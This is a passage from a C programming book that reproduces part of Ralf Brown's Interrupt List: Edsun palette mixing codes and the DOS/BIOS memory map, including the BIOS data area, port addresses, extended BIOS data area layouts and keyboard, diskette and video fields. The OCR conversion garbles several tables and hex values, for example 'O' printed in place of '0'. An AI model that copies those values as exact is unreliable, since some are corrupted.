REP-mode: if pixel are doubled in current video mode
EDP-mode: pseudo-truecolor with Edsun dynamic palette
(see \#P0698,\#P0699)
Palette-color-register single-byte-format (each 3 times):
Mode A: Mode C:
bit7-4: mix code bit3 : \(0=\) color, \(1=\) code
bit3-0: color code bit2-0: color / mix code
Mode B: Mode D:
bit7-5: mix code bit7-0: see mix code table
bit4 : \(0=\) new, \(1=\) old Non-CEG modes:
bit3-0: color code bit7-0: as usual
In EDP modes, video-memory-palette-changing escape-sequences:
Mode A: Mode B: Mode C: Mode D: 7/escape 7/escape 7/escape OBFh red red red7-4 red


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SeeAlso: \#P0699
(Table P0699)
Values for EDSUN CEG mixing codes:
Mode A: | Mode C:
mix: new: old: | mix: new: old: colorcode:
\(0=32 / 32 \quad 0 / 32 \quad \mid \quad 0=-\quad-\quad 0\)
\(1=30 / 32 \quad 2 / 32 \quad \mid \quad 1=-\quad-\quad 1\)
\(2=28 / 324 / 32\) | \(2=-\quad-\quad 2\)
\(3=26 / 32 \quad 6 / 32 \quad \mid \quad 3=-\quad-3\)
\(4=24 / 32 \quad 8 / 32 \quad \mid \quad 4=-\quad-\quad 4\)
\(5=22 / 3210 / 32 \left\lvert\, \begin{array}{ll}5= & - \\ 5\end{array}\right.\)
\(6=20 / 3212 / 32\) | \(6=-\quad-6\)
\(7=18 / 3214 / 32\) | \(7=-\quad-\quad 7 / E D P\)
\(8=16 / 32 \quad 16 / 32 \quad \mid \quad 8=30 / 32 \quad 2 / 32-\)
\(9=14 / 32 \quad 18 / 32 \quad \mid \quad 9=28 / 32 \quad 4 / 32\)
\(10=12 / 32 \quad 20 / 32 \left\lvert\, \begin{array}{ll}10=26 / 32 & 6 / 32\end{array}\right.\)
\(11=10 / 32 \quad 22 / 32 \left\lvert\, \begin{array}{lll} & 11=24 / 32 & 8 / 32\end{array}\right.\)
\(12=8 / 32 \quad 24 / 32 \left\lvert\, \begin{array}{ll}12 & =22 / 32 \\ 10 / 32\end{array}\right.\)
\(13=6 / 32 \quad 26 / 32 \mid 13=20 / 32 \quad 12 / 32-\)
\(14=4 / 32 \quad 28 / 32 \quad 14=18 / 32 \quad 14 / 32-\)
\(15=2 / 3230 / 32 \mid 15=16 / 32 \quad 16 / 32-\)
---Mode B:
old I Mode D.
\(0=30 / 32 \quad 2 / 32 \quad\) 00h.. BEh \(=-\quad-\) normal color
\(1=26 / 326 / 32 \mid \mathrm{BFh}=-\quad-\mathrm{EDP}\)
\(2=22 / 32 \quad 10 / 32 \quad \mid \quad C 0 h \quad=32 / 32 \quad 0 / 32\)
\(3=18 / 32 \quad 14 / 32 \quad \mid \quad\) C1h \(\quad=31 / 32 \quad 1 / 32\)
\(4=14 / 32 \quad 18 / 32 \quad \mid \quad C 2 h \quad=30 / 32 \quad 2 / 32\)
\(5=10 / 32 \quad 22 / 32 \quad \mid \quad \ldots \quad=\ldots \quad \ldots\)
\(6=6 / 32\) 26/32 \(\mid\) DFh \(=0 / 32\) 32/32
\(7=2 / 32\) 30/32 \(\mid\) EOh-FFh \(=-\quad\) normal color
SeeAlso: \#P0698

\subsection*{71.4 Memory map}

DOS, BIOS and other software use certain specific memory address spaces to store important information. So if we know those addresses, we can manipulate the values present there with pointers. For example, the keyboard buffer's head pointer is found at 0040:001A; we need this address if we want to manipulate the keyboard buffer.

Memory map is one of the wonderful collections present in RBIL. You may want to "play" with pointers. So here I present the full memory map from RBIL.

\footnotetext{
--------H-M00000000---------------------------
MEM 0000h:0000h R - INTERRUPT VECTOR TABLE
Size: 1024 BYTEs
Note: see also the main interrupt list
}
--------b-M0000031D
MEM 0000h:031Dh - 1989 AMI 386sx BIOS - USER-DEFINABLE TYPE 47 HARD DISK PARMS
Size: 16 BYTEs
Note: these fields are used if the AMI BIOS setup is set to use the top of the interrupt table for the extended BIOS data area
SeeAlso: MEM 0000h:032Dh,INT 41
--------b-M0000032D
MEM 0000h:032Dh - 1989 AMI 386sx BIOS - USER-DEFINABLE TYPE 48 HARD DISK PARMS
Size: 16 BYTEs
Note: these fields are used if the AMI BIOS setup is set to use the top of the interrupt table for the extended BIOS data area
SeeAlso: MEM 0000h:031Dh,INT 46
--------B-M00000400
MEM 0000h:0400h - BIOS DATA AREA
Size: 256 BYTEs
Note: see also the MEM 0040h:xxxxh entries
----------M00000500---------------------------
MEM 0000h:0500h - DATA AREA
Size: 256 BYTEs
--------D-M00000600
MEM 0000h:0600h - MS-DOS 1.x LOAD ADDRESS
--------D-M00000700 \(\qquad\)
MEM 0000h:0700h - MS-DOS 2+ LOAD ADDRESS
--------S-M00400000 \(\qquad\)
MEM 0040h:0000h - BASE I/O ADDRESS OF FIRST SERIAL I/O PORT
Size: WORD
Notes: the BIOS sets this word to zero if is unable to find any serial ports at the addresses it is programmed to check at boot DOS and BIOS serial device numbers may be redefined by re-assigning these values of the base I/O addresses stored here Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM1=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{~F} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).
SeeAlso: MEM 0040h:0002h, MEM 0040h:0004h, MEM 0040h:0006h, MEM 0040h:0008h
SeeAlso: MEM 0040h:007Ch,INT 14/AH=00h,PORT 03F8h"SERIAL"
--------S-M00400002
MEM 0040h:0002h - BASE I/O ADDRESS OF SECOND SERIAL I/O PORT
Size: WORD
Notes: the BIOS sets this word to zero if is unable to find more than one serial port at the addresses it is programmed to check at boot DOS and BIOS serial device numbers may be redefined by re-assigning these values of the base I/O addresses stored here Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM2=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{~F} 8 \mathrm{~h}\), logical_no \(=0\) or \(1 . .4\), timeout=0.. 255 (default 1).
SeeAlso: MEM 0040h:0000h, MEM 0040h:0004h, MEM 0040h:0006h, MEM 0040h:000Ah

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SeeAlso: MEM 0040h:007Dh,INT 14/AH=00h,PORT 02F8h"SERIAL"
--------S-M00400004
MEM 0040h:0004h - BASE I/O ADDRESS OF THIRD SERIAL I/O PORT
Size: WORD
Notes: the BIOS sets this word to zero if is unable to find more than two serial ports at the addresses it is programmed to check at boot Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM3=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 h . .3 F 8 h\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).
SeeAlso: MEM 0040h: 0000h, MEM 0040h: 0002h, MEM 0040h:0006h, MEM 0040h: 000Ch
SeeAlso: MEM 0040h: 007Eh,PORT 03E8h"SERIAL"
--------S-M00400006
MEM 0040h:0006h - BASE I/O ADDRESS OF FOURTH SERIAL I/O PORT
Size: WORD
Notes: the BIOS sets this word to zero if is unable to find more than three serial ports at the addresses it is programmed to check at boot Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS COM4=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 h . .3 F 8 h\), logical_no \(=0\) or \(1 . .4\), timeout \(=0 . .255\) (default 1).
SeeAlso: MEM 0040h: 0000h, MEM 0040h: 0002h, MEM 0040h:0004h, MEM 0040h:0008h
SeeAlso: MEM 0040h:007Fh,PORT 02E8h"SERI AL"
--------P-M00400008 \(\qquad\)
MEM 0040h:0008h - BASE I/O ADDRESS OF FIRST PARALLEL I/O PORT
Size: WORD
Notes: the BIOS POST routine fills in the parallel port address fields in turn as it finds parallel ports. All fields beyond the last one for which a valid parallel port was found are set to zero.
the BIOS INT 17 handler uses these fields to address the parallel ports
Under DR-OpenDOS 7.02+ this setting can be changed with the undocumented CONFIG.SYS LPT1=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout=0.. 255 (default 20).
SeeAlso: MEM 0040h: 0000h, MEM 0040h: 000Ah,MEM 0040h:000Ch,INT 17/AH=00h
SeeAlso: PORT 0278h"PRINTER",PORT 03BCh"PRINTER"
--------P-M0040000A
MEM 0040h: 000Ah - BASE I/O ADDRESS OF SECOND PARALLEL I/O PORT
Size: WORD
Notes: zero if fewer than two parallel ports installed
Under DR-OpenDOS \(7.02+\) this setting can be changed with the undocumented CONFIG.SYS LPT2=[port_address|logical_no][,[timeout]] directive, whereby port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\), timeout \(=0 . .255\) (default 20).
SeeAlso: MEM 0040h: 0002h, MEM 0040h: 0008h, MEM 0040h: 000Ch,PORT 0278h"PRINTER"
SeeAlso: PORT 0378h"PRINTER", INT 17/AH=00h
--------P-M0040000C
MEM 0040h: 000Ch - BASE I/O ADDRESS OF THIRD PARALLEL I/O PORT
Size: WORD
Notes: zero if fewer than three parallel ports installed
        Under DR-OpenDOS 7.02+ this setting can be changed with the
        undocumented CONFIG.SYS LPT3=[port_address|logical_no][,[timeout]]
        directive, whereby port_address \(=200 h .3 F C h\), logical_no \(=0\) or \(1 . .3\),
        timeout=0.. 255 (default 20).
SeeAlso: MEM 0040h:0004h, MEM 0040h: 0008h, MEM 0040h:000Ah,MEM 0040h:000Eh
SeeAlso: PORT 0378h"PRINTER",INT 17/AH=00h
--------P-M0040000E
                            OE------------------------
MEM 0040h: 000Eh - BASE I/O ADDRESS OF FOURTH PARALLEL I/O PORT (pre-PS/2)
Size: WORD
Notes: zero if fewer than four parallel ports installed
        Under DR-OpenDOS 7.02+ this setting can be changed with the
        undocumented CONFIG.SYS LPT4=(port_address|logical_no)[,[timeout]]
        directive, where port_address \(=200 \mathrm{~h} . .3 \mathrm{FCh}\), logical_no \(=0\) or \(1 . .3\),
        timeout=0.. 255 (default 20). To avoid any interference with the PS/2
        and later interpretation, this will be rejected if this entry does
        not hold 0, which would indicate it is used for different purposes.
    SeeAlso: MEM 0040h: 0008h, MEM 0040h: 000Ah, MEM 0040h: 000Eh"BIOS DATA"
    SeeAlso: PORT 0378h"PRINTER", INT 17/AH=00h
--------B-M0040000E
MEM 0040h: 000Eh - SEGMENT OF EXTENDED BIOS DATA SEGMENT (PS/2, newer BIOSes)
Size: WORD
SeeAlso: MEM 0040h: 000Eh"PARALLEL", INT 15/AH=C1h
Format of Extended BIOS Data Area (IBM):
Offset Size Description (Table M0001)
    OOh BYTE length of EBDA in kilobytes
    01h 15 BYTEs reserved
    17h BYTE number of entries in POST error \(\log (0-5)\)
    18h 5 WORDs POST error log (each word is a POST error number)
    22h DWORD Pointing Device Driver entry point
    26h BYTE Pointing Device Flags 1 (see \#M0002)
    27h BYTE Pointing Device Flags 2 (see \#M0003)
    28h 8 BYTEs Pointing Device Auxiliary Device Data
    30h DWORD Vector for INT 07h stored here during 80387 interrupt
    34h DWORD Vector for INT 01h stored here during INT 07h emulation
    38h BYTE Scratchpad for 80287/80387 interrupt code
    39h WORD Timer3: Watchdog timer initial count
    3Bh BYTE ??? seen non-zero on Model 30
    3Ch BYTE ???
    3Dh 16 BYTEs Fixed Disk parameter table for drive 0 (for older machines
        which don't directly support the installed drive)
    4Dh 16 BYTEs Fixed Disk parameter table for drive 1 (for older machines
                which don't directly support the installed drive)
5Dh-67h ???
68h BYTE cache control

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\begin{tabular}{|c|c|c|}
\hline \multicolumn{2}{|l|}{\multirow[b]{2}{*}{69h-6Bh}} & \begin{tabular}{l}
bits 7-2 unused (0) \\
bit 1: CPU cache failed test \\
bit 0: CPU cache disabled
\end{tabular} \\
\hline & & ??? \\
\hline 6Ch & BYTE & Fixed disk: (=FFh on ESDI systems) bits 7-4: Channel number 00-0Fh bits 3-0: DMA arbitration level 00-0Eh \\
\hline 6Dh & BYTE & ??? \\
\hline 6Eh & WORD & current typematic setting (see INT 16/AH=03h) \\
\hline 70h & BYTE & number of attached hard drives \\
\hline 71h & BYTE & hard disk 16-bit DMA channel \\
\hline 72h & BYTE & interrupt status for hard disk controller (1Fh on timeout) \\
\hline 73h & BYTE & \begin{tabular}{l}
hard disk operation flags \\
bit 7: controller issued operation-complete INT 76h \\
bit 6: controller has been reset \\
bits 5-0: unused (0)
\end{tabular} \\
\hline 74h & DWORD & old INT 76h vector \\
\hline 78h & BYTE & hard disk DMA type typically 44 h for reads and 4Ch for writes \\
\hline 79h & BYTE & status of last hard disk operation \\
\hline 7Ah & BYTE & hard disk timeout counter \\
\hline \multicolumn{3}{|l|}{7Bh-7Dh} \\
\hline \multicolumn{3}{|l|}{7Eh 8 WORDs storage for hard disk controller status} \\
\hline \multicolumn{3}{|l|}{8Eh-E6h} \\
\hline E7h & BYTE & \begin{tabular}{l}
floppy drive type \\
bit 7: drive(s) present \\
bits 6-2: unused (0) \\
bit 1: drive 1 is \(5.25^{\prime \prime}\) instead of \(3.5^{\prime \prime}\) \\
bit 0 : drive 0 is \(5.25{ }^{\prime \prime}\)
\end{tabular} \\
\hline E8h 4 & 4 BYTEs & ??? \\
\hline ECh & BYTE & hard disk parameters flag bit 7: parameters loaded into EBDA bits 6-0: unused (0) \\
\hline EDh & BYTE & ??? \\
\hline EEh & BYTE & CPU family ID (03h = 386, 04h = 486, etc.) (see INT 15/AH=C9h) \\
\hline EFh & BYTE & CPU stepping (see INT 15/AH=C9h) \\
\hline FOh 39 & 39 BYTEs & ??? \\
\hline 117h & WORD & keyboard ID (see INT 16/AH=OAh) (most commonly 41ABh) \\
\hline 119h & BYTE & ??? \\
\hline 11Ah & BYTE & \begin{tabular}{l}
non-BIOS INT 18h flag \\
bits 7-1: unused (0) \\
bit 0: set by BIOS before calling user INT 18 h at offset 11Dh
\end{tabular} \\
\hline 11Bh 2 & 2 BYTE & ??? \\
\hline \multicolumn{2}{|l|}{} & 11 Dh DWORD user INT 18h vector if BIOS has re-hooked INT 18h \\
\hline 121h a & and up: & ??? seen non-zero on Model 60 \\
\hline \multicolumn{3}{|l|}{3FOh BYTE Fixed disk buffer (???)} \\
\hline \multicolumn{3}{|l|}{SeeAlso: \#M0004} \\
\hline
\end{tabular}
Bitfields for Pointing Device Flags 1:
Bit(s) Description ..... (Table M0002)
7 command in progress
6 resend byte (FAh) received
5 acknowledge byte (FEh) received
4 error byte (FCh) received
3 unexpected value received
2-0 index count for auxiliary device data at 28 h
SeeAlso: \#M0001,\#M0003
Bitfields for Pointing Device Flags 2:
Bit(s) Description (Table M0003)
7 device driver far call flag
6-3 reserved
2-0 package size (number of bytes received) - 1
SeeAlso: \#M0001,\#M0002
Format of Extended BIOS Data Area (AMI v1.00.12.AX1T):
Offset Size Description (Table M0004)
00h BYTE length of XBDA in kilobytes
01h 15 BYTEs reserved
17h BYTE number of entries in POST error log (0-10)
18h 10 BYTEs unused???
22h DWORD Pointing Device Driver entry point
26h BYTE Pointing Device Flags 1 (see \#M0002)
27h BYTE Pointing Device Flags 2 (see \#M0003)
28h 8 BYTEs Pointing Device Auxiliary Device Data
30h 13 BYTEs ???
3Dh 16 BYTEs Fixed Disk parameter table for drive 0
4Dh 16 BYTEs Fixed Disk parameter table for drive 1
5Dh 16 BYTEs parameter table for drive 2???
6Dh 16 BYTEs parameter table for drive 3???
80h 56 BYTEs? IDE drive 0 manufacturer/model string
B8h 41 BYTEs AMIBIOS copyright string
E1h unused???
102h WORD ??? flags
bit 15: ???
108h WORD offset of IntellDECfgTbI (IDE configuration settings) withinsegment F000h
10Ah 2 BYTEs ..... ???
10Ch DWORD pointer to routine to call for language-specific error messages
110h WORD offset in segment FO00h of end of currently-loaded optionalBIOS subsystems (language, APM, etc.)
112h WORD offset in segment FOOOh of end of area avaiable for loading optional BIOS subsystems
1FOh BYTE APM status flags
1F1h 8 BYTEs APM power-state data for device classes 01h-06h

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bits 0-3: current power state for devices 00h-03h in class
bits 7-4: current engaged state for devices 00h-03h in class
1F9h 4 BYTEs APM power-state data for device classes 01h-08h (four devices per class)
1FDh 3 BYTEs ???
200h 10 WORDs POST error log
214h ???
SeeAlso: \#M0001,\#M0005
Format of Extended BIOS Data Area (PhoenixBIOS 4.0):
Offset Size Description (Table M0005)
00h BYTE length of XBDA in kilobytes
01h 33 BYTEs reserved
22h DWORD Pointing Device Driver entry point
26h BYTE Pointing Device Flags 1 (see \#M0002)
27h BYTE Pointing Device Flags 2 (see \#M0003)
28h 8 BYTEs Pointing Device Auxiliary Device Data
SeeAlso: \#M0001,\#M0004
--------B-M00400010
MEM 0040h:0010h - INSTALLED HARDWARE
Size: WORD
SeeAlso: INT 11
Bitfields for BIOS-detected installed hardware:
Bit(s) Description (Table M0006)
15-14 number of parallel devices
00 or 11 sometimes used to indicate four LPT ports
13 (Convertible, PS/2-55LS) internal modem
12 game port installed
11-9 number of serial devices
000 or 111 sometimes used to indicate eight COM ports
8 reserved
7-6 number of floppy disk drives (minus 1)
5-4 initial video mode
00 EGA,VGA,PGA, or other with on-board video BIOS
\(0140 \times 25\) CGA color
\(1080 \times 25\) CGA color
\(1180 \times 25\) mono text
3-2 (PC only) RAM on motherboard
\(00=16 \mathrm{~K}, 01=32 \mathrm{~K}, 10=48 \mathrm{~K}, 11=64 \mathrm{~K}\)
(some XTs) RAM on motherboard
\(00=64 \mathrm{~K}, 01=128 \mathrm{~K}, 10=192 \mathrm{~K}, 11=256 \mathrm{~K}\)
2 (pre-PS/2 except PC) reserved (PS/2, some XT clones, newer BIOSes) pointing device installed
1 math coprocessor installed
0 floppy disk drives are installed booted from floppy
---------B-M00400012----------------------------
```

MEM 0040h:0012h - Convertible - POST STATUS
Size: BYTE
--------B-M00400012
MEM 0040h:0012h U - AT - MANUFACTURING TEST INITIALIZATION FLAGS
Size: BYTE
Bitfields for AT manufacturing test initialization flags:
Bit(s) Description (Table M0007)
0 start in manufacturing test mode rather than normal operation
1-7 unused
--------b-M00400012-
MEM 0040h:0012h - MCA - MANUFACTURING TEST
Size: BYTE
Bitfields for MCA manufacturing test flags :
Bit(s) Description (Table M0008)
7 POST flag, ???
6-5 unused
4 POST flag, slot 4 has adapter identifier EDAFh
3 POST flag, 80x25 color video
2 POST flag, ???
1 unused
0 manufacturing test mode rather than normal operation
--------b-M00400012-
MEM 0040h:0012h - PS/2 Model 25 - POST SYSTEM FLAG
Size: BYTE
Bitfields for PS/2 Model 25 POST sytem flag :
Bit(s) Description (Table M0009)
0 optional memory failed; memory remapped
1 real-time clock installed
--------B-M00400013-
MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
Size: WORD
SeeAlso: INT }1
--------b-M00400015
MEM 0040h:0015h - PC, XT - ADAPTER MEMORY SIZE IN KBYTES
Size: WORD
--------b-M00400015
MEM 0040h:0015h U - AT - MANUFACTURING TEST SCRATCH PAD
Size: BYTE
--------K-M00400015
MEM 0040h:0015h - Compaq Deskpro 386-PREVIOUS SCAN CODE
Size: BYTE
--------b-M00400016
MEM 0040h:0016h U - AT - MANUFACTURING TEST SCRATCH PAD
Size: BYTE
--------b-M00400016

```

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MEM 0040h:0016h U - PS/2 Model 30 - BIOS CONTROL FLAGS
Size: BYTE
--------K-M00400016
MEM 0040h:0016h - Compaq Deskpro 386 - KEYCLICK VOLUME
Size: BYTE
Range: 00h-7Fh
--------K-M00400017
MEM 0040h:0017h - KEYBOARD - STATUS FLAGS 1
Size: BYTE
SeeAlso: MEM 0040h:0018h,INT 16/AH=02h,MEM 0040h:0096h
Bitfields for keyboard status flags 1:
Bit(s) Description (Table M0010)
7 INSert active
6 Caps Lock active
5 Num Lock active
4 Scroll Lock active
3 either Alt pressed
2 either Ctrl pressed
1 Left Shift pressed
\(0 \quad\) Right Shift pressed
SeeAlso: \#M0011,\#00587
--------K-M00400018
MEM 0040h:0018h - KEYBOARD - STATUS FLAGS 2
Size: BYTE
SeeAlso: MEM 0040h:0017h,INT 16/AH=12h
Bitfields for keyboard status flags 2 :
Bit(s) Description (Table M0011)
7 INSert pressed
6 Caps Lock pressed
5 Num Lock pressed
4 Scroll Lock pressed
3 Pause state active
2 Sys Req pressed
1 Left Alt pressed
0 Left Ctrl pressed
SeeAlso: \#M0010,\#00588
--------K-M00400019
MEM 0040h:0019h - KEYBOARD - ALT-nnn KEYPAD WORKSPACE
Size: BYTE
Desc: holds the current value of an Alt-NNN keypad sequence; when Alt is released and this byte is non-zero, the appropriate character is placed in the keyboard buffer
SeeAlso: INT 16/AH=00h, MEM 0040h:001Ah
--------K-M0040001A
MEM 0040h:001Ah - KEYBOARD - POINTER TO NEXT CHARACTER IN KEYBOARD BUFFER
Size: WORD

SeeAlso: MEM 0040h:001Ch,MEM 0040h:0080h,MEM 0040h:0082h,INT 16/AH=00h --------K-M0040001C
MEM 0040h:001Ch - KEYBOARD - POINTER TO FIRST FREE SLOT IN KEYBOARD BUFFER Size: WORD
SeeAlso: MEM 0040h:001Ah,MEM 0040h:001Eh,MEM 0040h:0080h,MEM 0040h:0082h
SeeAlso: INT 16/AH=00h
--------K-M0040001E
MEM 0040h:001Eh - KEYBOARD - DEFAULT KEYBOARD CIRCULAR BUFFER
Size: 16 WORDs
SeeAlso: MEM 0040h:001Ah,MEM 0040h:001Ch,MEM 0040h:0080h,MEM 0040h:0082h
SeeAlso: INT 16/AH=00h,INT 16/AH=05h
--------B-M0040003E \(\qquad\)
MEM 0040h:003Eh - DISKETTE - RECALIBRATE STATUS
Size: BYTE
SeeAlso: MEM 0040h:003Fh,MEM 0040h:0040h,INT 13/AH=00h,INT 13/AH=11h
Bitfields for diskette recalibrate status:
Bit(s) Description (Table M0012)
7 diskette hardware interrupt occurred 6-4 reserved
3 recalibrate diskette 3 (PC,XT only)
2 recalibrate diskette 2 (PC,XT only)
1 recalibrate diskette 1
0 recalibrate diskette 0
--------B-M0040003F \(\qquad\)
MEM 0040h:003Fh - DISKETTE - MOTOR STATUS
Size: BYTE
SeeAlso: MEM 0040h:003Eh, MEM 0040h:0040h
Bitfields for diskette motor status:
Bit(s) Description (Table M0013)
7 current operation is write or format, rather than read or verify
6 reserved (DMA enabled on 82077)
5-4 diskette drive number selected (0-3)
3 diskette 3 motor on (PC,XT only)
2 diskette 2 motor on (PC,XT only)
1 diskette 1 motor on
0 diskette 0 motor on
--------B-M00400040 \(\qquad\)
MEM 0040h:0040h - DISKETTE - MOTOR TURN-OFF TIMEOUT COUNT
Size: BYTE
Desc: number of clock ticks until diskette motor is turned off
Note: the typical implementation of the timeout is to have the INT 08 handler decrement this byte on every clock tick, and force the diskette motor off if the result is equal to zero
SeeAlso: MEM 0040h:003Eh,MEM 0040h:003Fh,MEM 0040h:0041h,INT 08"IRQ0"
--------B-M00400041
MEM 0040h:0041h - DISKETTE - LAST OPERATION STATUS

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Size: BYTESeeAlso: MEM 0040h:003Eh,MEM 0040h:0042h,INT 13/AH=01h
Bitfields for diskette last operation status:
Bit(s) Description (Table M0014)
7 drive not ready
6 seek error
5 general controller failure
4-0 error reason
00h no error
01h invalid request/parameter
02h address mark not found
03h write-protect error
04h sector not found
06h diskette change line active
08h DMA overrun
09h DMA across 64k boundary
OCh media type unknown
10h CRC error on read
Note: the following values for this byte differ somewhat from thebitfield definition above:
30h drive does not support media sense
31h no media in drive
32h drive does not support media type
AAh diskette drive not ready
--------B-M00400042 ..... -------------------------
MEM 0040h:0042h - DISK - FLOPPY/HARD DRIVE STATUS/COMMAND BYTES
Size: 7 BYTEs
SeeAlso: MEM 0040h:0041h
42h BYTE XT: command byte to hard disk controller
AT: write precompensation cylinder number / 4
43h BYTE XT: bit \(5=\) drive number, bits \(3-0=\) head number AT: sector count
44h BYTE XT: bits \(6,7=\) high bits of track, bits \(5-0=\) start sector- 1
AT: starting sector
45h BYTE low byte of track number
46h BYTE XT: sector count
AT: high bits of track number
47h BYTE XT: controlbyte from HD parameters (step rate,...)
AT: 101DHHHH, \(D=\) drive number, \(\mathrm{HHHH}=\) head number
bit \(7=\) ECC mode (1)
bit \(6=\) unknown ( 0 )
bit \(5=512\) byte sectors (1)
bit \(4=\) drive number
bit 3-0 head number
48h BYTE XT: INT 13h subfunction number
AT: command byte to hard disk controller
```

SeeAlso:CALL F000h:211Eh
--------B-M00400042-------------------------
MEM 0040h:0042h - DISK CONTROLLER STATUS REGISTER 0
Size: BYTE
SeeAlso: MEM 0040h:0043h
Bitfields for diskette controller status register 0:
Bit(s) Description (Table M0015)
7-6 interrupt code
O0 normal completion
0 1 abnormal termination during execution
10 invalid command
1 1 abnormal termination: ready line on/diskette change
5 requested seek complete
4 drive fault
3 drive not ready
2 head state at time of interrupt
1-0 selected drive (drives 2\&3 on PC,XT only)
SeeAlso: \#M0016
--------B-M00400043
MEM 0040h:0043h - DISK CONTROLLER STATUS REGISTER 1
Size: BYTE
SeeAlso: MEM 0040h:0042h,MEM 0040h:0044h
Bitfields for diskette controller status register 0:
Bit(s) Description (Table M0016)
7 attempted access beyon last cylinder
6 unused
5 CRC error on read
D DMA overrun
3 unused
2 data error
1 disk write protected
0 missing address mark
SeeAlso: \#M0015,\#M0017
--------B-M00400044---------------------------
MEM 0040h:0044h - DISK CONTROLLER STATUS REGISTER 2
Size: BYTE
SeeAlso: MEM 0040h:0043h
Bitfields for diskette controller status register 0:
Bit(s) Description (Table M0017)
7 unused
6 found deleted data address mark
5 CRC error in data field
4 wrong cylinder number read
3 verify equal
2 can't find sector matching verify condition

```

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```

    1 bad cylinder
    0 unable to find address mark
    SeeAlso: \#M0016
--------V-M00400049
MEM 0040h:0049h - VIDEO - CURRENT VIDEO MODE
Size: BYTE
SeeAlso: MEM 0040h:004Ah,INT 10/AH=00h
--------V-M0040004A
MEM 0040h:004Ah - VIDEO - COLUMNS ON SCREEN
Size: WORD
SeeAlso: MEM 0040h:0049h,MEM 0040h:004Ch,MEM 0040h:004Eh,INT 10/AH=0Fh
--------V-M0040004C
MEM 0040h:004Ch - VIDEO - PAGE (REGEN BUFFER) SIZE IN BYTES
Size: WORD
SeeAlso: MEM 0040h:004Ah,MEM 0040h:004Eh,MEM 0040h:0050h
--------V-M0040004E-
MEM 0040h:004Eh - VIDEO - CURRENT PAGE START ADDRESS IN REGEN BUFFER
Size: WORD
SeeAlso: MEM 0040h:004Ch,MEM 0040h:0050h,MEM 0040h:0062h,INT 10/AH=05h
--------V-M00400050
MEM 0040h:0050h - VIDEO - CURSOR POSITIONS
Size: }8\mathrm{ WORDs
Desc: contains row and column position for the cursors on each of eight
video pages
SeeAlso: MEM 0040h:004Eh,MEM 0040h:0060h,INT 10/AH=02h
--------V-M00400060
MEM 0040h:0060h - VIDEO - CURSOR TYPE
Size: WORD (big-endian)
Desc: contains cursor start scan line and cursor end scan line
SeeAlso: MEM 0040h:0050h,MEM 0040h:0062h,INT 10/AH=03h
--------V-M00400062
MEM 0040h:0062h - VIDEO - CURRENT PAGE NUMBER
Size: BYTE
SeeAlso: MEM 0040h:004Eh,MEM 0040h:0063h,INT 10/AH=05h
--------V-M00400063
MEM 0040h:0063h - VIDEO - CRT CONTROLLER BASE I/O PORT ADDRESS
Size: WORD
Note: normally 03B4h for mono and 03D4h for color video boards
SeeAlso: MEM 0040h:0065h,MEM 0040h:0066h
--------V-M00400065
MEM 0040h:0065h - VIDEO - CURRENT MODE SELECT REGISTER
Size: BYTE
Desc: contains last value written to I/O port 03B8h / 03D8h
SeeAlso: MEM 0040h:0063h,MEM 0040h:0066h
Bitfields for current video mode select register:
Bit(s) Description (Table M0018)
7-6 unused

```

5 attribute bit 7 controls blinking instead of background
4 mode 6 graphics in monochrome
3 video signal enabled
2 monochrome
1 graphics
\(0 \quad 80 \times 25\) text
--------V-M00400066-
MEM 0040h:0066h - VIDEO - CURRENT SETTING OF CGA PALETTE REGISTER
Size: BYTE
Desc: contains the last value written to I/O port 03D9h
SeeAlso: MEM 0040h:0063h,MEM 0040h:0065h,INT 10h/AH=0Bh/BH=01h
Bitfields for CGA palette register:
Bit(s) Description (Table M0019)
7-6 unused
5 palette (0/1)
4 intense background colors in text mode
3 intense border color (40x25) / background color (mode 5)
2 red
1 green
0 blue
----------M00400067
MEM 0040h:0067h - PC only - CASSETTE TIME COUNT
Size: WORD
SeeAlso: INT 15/AH=00h
----------M00400067
MEM 0040h:0067h - RESET RESTART ADDRESS
Size: DWORD
Desc: this address stores the address at which to resume execution after a CPU reset (or jump to F000h: FFFOh) when certain magic values are stored at 0040h:0072h or in CMOS RAM location OFh
SeeAlso: MEM 0040h:0072h,MEM F000h:FFFOh,CMOS OFh,INT 19
----------M00400069------------------------------
MEM 0040h:0069h - CASSETTE (PC only) - CASSETTE CRC REGISTER
Size: WORD
SeeAlso: MEM 0040h:006Bh"CASSETTE",INT 15/AH=02h
----------M00400069
MEM 0040h:0069h-V20-XT-BIOS - KEY REPEAT
Size: BYTE
Bitfields for V20-XT-BIOS key repeat flags:
Bit(s) Description (Table M0020)
7 key repeat disabled
\(6 \quad\) Ctrl-Alt pressed instead of just Alt
----------M0040006B
MEM 0040h:006Bh - CASSETTE (PC only) - LAST VALUE READ FROM CASSETTE Size: BYTE
SeeAlso: MEM 0040h:0069h"CASSETTE",INT 15/AH=02h

\section*{710 A to \(Z\) of \(C\)}
----------M0040006B
MEM 0040h:006Bh - POST LAST UNEXPECTED INTERRUPT (XT and later)
Size: BYTE
Desc: this is a bitmask of IRQs which have occurred while the corresponding interrupt vector points at the default system BIOS handler (bit \(0=I\) RQ0 to bit \(7=I\) RQ7; bit \(2=I\) RQ8-15 on AT and later)
SeeAlso: INT 0F"IRQ7",I NT 70"IRQ8",INT 77"IRQ15"
----------M0040006C
MEM 0040h:006Ch - TIMER TICKS SINCE MIDNIGHT
Size: DWORD
Desc: updated approximately every 55 milliseconds by the BIOS INT 08 handler
SeeAlso: MEM 0040h:0070h,INT 08"IRQ0",INT 1A/AH=00h
----------M00400070
